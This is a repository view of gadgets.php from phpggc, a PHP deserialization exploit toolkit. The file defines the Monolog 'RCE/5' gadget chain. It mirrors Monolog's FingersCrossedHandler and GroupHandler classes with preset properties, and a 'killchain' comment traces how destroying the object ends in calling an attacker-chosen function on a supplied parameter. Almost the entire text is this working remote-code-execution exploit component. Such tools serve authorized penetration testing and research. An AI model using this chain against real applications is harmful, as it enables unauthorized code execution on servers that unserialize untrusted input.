Codebase list phpggc / df78138f-a9fb-4d4a-b80f-baa6a5f0f19c/upstream gadgetchains / Monolog / RCE / 5 / gadgets.php
df78138f-a9fb-4d4a-b80f-baa6a5f0f19c/upstream

Tree @df78138f-a9fb-4d4a-b80f-baa6a5f0f19c/upstream (Download .tar.gz)

gadgets.php @df78138f-a9fb-4d4a-b80f-baa6a5f0f19c/upstreamraw · history · blame

<?php

namespace Monolog\Handler 
{
    // killchain :  
    // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records)
    
    class FingersCrossedHandler {
      protected $passthruLevel;
      protected $buffer = array();
      protected $handler;
    
     public function __construct($param, $handler)
     {
         $this->passthruLevel = 0;
         $this->buffer = ['test' => [$param, 'level' => null]];
         $this->handler = $handler;
     }
    
    }
    
    class GroupHandler {
      protected $processors = array();
      public function __construct($function)
      {
         $this->processors = ['current', $function];
      }
    
    }
}